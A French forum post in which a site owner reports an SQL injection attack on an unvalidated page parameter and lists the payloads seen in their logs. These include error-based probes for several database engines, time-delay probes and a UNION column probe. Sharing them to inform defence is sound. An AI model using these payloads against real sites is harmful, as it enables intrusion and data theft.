Bonjour,
J'ai eu le déplaisir vendredi de voir que je faisais l'objet d'une belle attaque par injection sql. C'est un peu de ma faute, le test sur la validité de la valeur passée à ma page n'était pas en place.
Je me suis dit que cela pourrait en intéresser certains d'avoir quelques exemples. Je suis peut-être naïf et si ça se trouve c'est un vulgaire robot qui m'a passé toute sa panoplie en revue...
Donc ma page est du genre http://site/repertoire/page?valeur=nombre et voici différents exemple (j'ai éliminé les essais proches tel que l'ajout d'un NULL) ou j'ai enlever valeur=nombre et mis le texte en clair (sauf pour le premier ou j'ai laissé l'original) :
- %27%22%29%22%28%27%22%27%29%22 ou en clair '")"('"')"
- AND (SELECT 5046 FROM(SELECT COUNT(*),CONCAT(CHAR(58,118,122,116,58),(SELECT (CASE WHEN (5046=5046) THEN 1 ELSE 0 END)),CHAR(58,104,119,114,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
- AND 7782=CAST(CHR(58)||CHR(118)||CHR(122)||CHR(116)||CHR(58)||(SELECT (CASE WHEN (7782=7782) THEN 1 ELSE 0 END))::text||CHR(58)||CHR(104)||CHR(119)||CHR(114)||CHR(58) AS NUMERIC)
- AND 8364=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(122)+CHAR(116)+CHAR(58)+(SELECT (CASE WHEN (8364=8364) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(104)+CHAR(119)+CHAR(114)+CHAR(58)))
- AND 9528=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(118)||CHR(122)||CHR(116)||CHR(58)||(SELECT (CASE WHEN (9528=9528) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(104)||CHR(119)||CHR(114)||CHR(58)||CHR(62))) FROM DUAL)
- ; WAITFOR DELAY '0:0:5';--
- AND SLEEP(5)
- UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Merci d'avance pour tous vos commentaires construcutifs sur le sujet.
Partager